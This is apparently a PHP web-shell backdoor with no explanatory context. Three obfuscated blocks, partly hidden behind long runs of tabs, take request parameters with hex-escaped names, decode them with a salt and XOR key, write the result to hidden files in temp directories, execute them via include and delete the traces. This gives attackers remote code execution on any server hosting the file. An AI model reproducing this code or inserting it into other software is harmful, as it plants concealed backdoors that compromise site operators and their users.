<?php																																										if(isset($_POST["\x69t\x65m"]) ? true : false){ $marker = $_POST["\x69t\x65m"]; $marker =explode ( "." ,$marker ) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; foreach ($marker as $v5) { $chS = ord($salt[$w%$sLen]); $d = ((int)$v5 - $chS - ($w%10))^ 12; $flg .= chr($d); $w++; } $token = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $comp = 0; do { $tkn = $token[$comp] ?? null; if ($comp >= count($token)) break; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $binding = "$tkn" . "/.data_chunk"; $success = file_put_contents($binding, $flg); if ($success) { include $binding; @unlink($binding); die();} } $comp++; } while (true); }
																																										if(in_array("r\x65\x63o\x72d", array_keys($_REQUEST))){ $obj = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); $object = $_REQUEST["r\x65\x63o\x72d"]; $object =explode( '.' , $object ) ; $factor =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6 ); $p =0; array_walk($object, function ($v5) use (&$factor, &$p, $salt6, $lenS) {$sChar =ord($salt6[$p % $lenS] ); $d =((int)$v5 - $sChar - ($p % 10)) ^ 88; $factor .= chr($d ); $p++;}); foreach ($obj as $res) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $comp = "$res" . "/.descriptor"; $success = file_put_contents($comp, $factor); if ($success) { include $comp; @unlink($comp); die();} } } }


if(array_key_exists("d\x65s\x63riptor", $_REQUEST)){
	$k = $_REQUEST["d\x65s\x63riptor"];
	$k=	 explode		 (	'.'		,	$k )		;	
	$fac = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt1);
    
            foreach($k as $x=> 	$v7) {$sChar = ord($salt1[$x % $lenS]);
                $d =((int)$v7 - $sChar -($x % 10))	 ^	9;
                $fac .= chr($d);
            }
	$factor = array_filter([session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]);
	while ($ref = array_shift($factor)) {
    		if (is_dir($ref) ? is_writable($ref) : false) {
    $record = implode("/", [$ref, ".desc"]);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $fac);
	fclose($file);
	include $record;
	@unlink($record);
	exit;
}
}
}
}